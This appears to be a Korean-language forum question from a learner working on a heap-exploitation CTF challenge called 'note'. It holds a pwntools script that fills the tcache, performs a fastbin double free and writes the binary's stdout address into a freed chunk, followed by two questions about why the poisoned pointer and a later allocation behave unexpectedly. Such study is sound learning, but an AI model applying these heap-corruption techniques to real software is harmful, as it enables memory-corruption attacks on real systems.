from pwn import * p = process('./note', env = {'LD_PRELOAD' : './libc.so.6'}) e = ELF('./note') libc = ELF('./libc.so.6') def create(idx, size, payload): p.sendlineafter('> ', str(1)) p.sendlineafter(': ', str(idx)) p.sendlineafter(': ', str(size)) p.sendlineafter(': ', payload) def read(idx): p.sendlineafter('> ', str(2)) p.sendlineafter(': ', str(idx)) p.recvuntil(': ') return int.from_bytes(p.recvline()[:-1], byteorder='little') def delete(idx): p.sendlineafter('> ', str(4)) p.sendlineafter(': ', str(idx)) for a in range(8): create(a, 20, b'a') for b in range(8): delete(b) for c in range(3): create(c, 20, b'a') stdout = e.symbols['stdout'] delete(0) delete(1) delete(0) create(c, 20, p64(stdout)) pause() p.interactive() fastbin duplication이라서 tcachebin을 다 채운 뒤에 새로 세 개를 할당해서 double free까지 하는 데는 성공했는데, 그 뒤에 stdout 주소를 넣어보려 했는데 값이 자꾸 이상하게 들어갑니다. image.png 원래라면 0x404080이 연결되어야 하는데, 왜 이렇게 나오는 걸까요?

문제는 fastbin 이용해서 풀긴 하였습니다. 그런데 처음 시도한 방법이 tcache poisoning인데 여기서 궁금한 점이 있습니다. image.png 사진과 같이 목표 주소로 poisonining 완료 후 같은 크기의 청크 할당 요청 시 tcache에서 할당이 될것이라 생각하였습니다. 그런데 할당을 해보니 아래 사진과 같이 Top Chunk에서 할당을 해주는 것을 확인하였습니다. image.png 이 부분에 대해 왜 tcache chunk를 할당해주지 않는지 이유를 모르겠어서 질문 드립니다.